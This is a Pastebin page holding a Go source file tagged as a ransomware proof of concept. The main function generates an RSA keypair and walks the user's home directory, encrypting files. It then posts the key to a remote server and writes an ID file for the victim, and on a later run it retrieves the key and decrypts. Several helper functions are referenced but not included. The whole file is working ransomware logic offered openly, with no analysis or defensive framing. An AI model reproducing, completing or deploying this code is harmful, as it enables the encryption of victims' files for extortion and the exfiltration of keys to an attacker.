Advertisement
FlyFar

main.go

Dec 17th, 2023
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.32 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.  
  6.     "crypto/rand"
  7.     "crypto/rsa"
  8.     "crypto/sha256"
  9.     "encoding/hex"
  10.     "io/ioutil"
  11.     "os"
  12.     "strings"
  13. )
  14.  
  15. // GenerateID generates the unique identifier
  16. func GenerateID() string {
  17.     r := make([]byte, 32)
  18.     rand.Read(r)
  19.  
  20.     hash := sha256.New()
  21.  
  22.     return hex.EncodeToString(hash.Sum(r))
  23. }
  24.  
  25. func main() {
  26.     idFile, err := os.Open("id.txt")
  27.  
  28.     var priv *rsa.PrivateKey
  29.  
  30.     shouldEncrypt := false
  31.  
  32.     // File exists, read id and get key from server
  33.     if err == nil {
  34.         idBytes, err := ioutil.ReadAll(idFile)
  35.         idFile.Close()
  36.  
  37.         if err != nil {
  38.             panic(err)
  39.         }
  40.  
  41.         id := string(idBytes)
  42.         id = strings.Split(id, "\r\n")[1]
  43.  
  44.         GetKey(id)
  45.     } else {
  46.         fmt.Println("generating keypair...")
  47.         priv = Generate()
  48.         shouldEncrypt = true
  49.     }
  50.  
  51.     fmt.Println()
  52.     fmt.Println(Stringify(priv))
  53.  
  54.     startWalk := GetHomeDir()
  55.  
  56.     Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {
  57.         fmt.Println(filePath, "encrypted", isEncrypted)
  58.  
  59.         if shouldEncrypt && !isEncrypted {
  60.             encrypt(filePath, priv)
  61.         } else if isEncrypted {
  62.             decrypt(filePath, priv)
  63.         }
  64.     })
  65.  
  66.     if shouldEncrypt {
  67.         id := GenerateID()
  68.  
  69.         PostKey(priv, id)
  70.  
  71.         data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id
  72.  
  73.         ioutil.WriteFile("id.txt", []byte(data), 0777)
  74.     }
  75. }
Tags: ransomware PoC
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement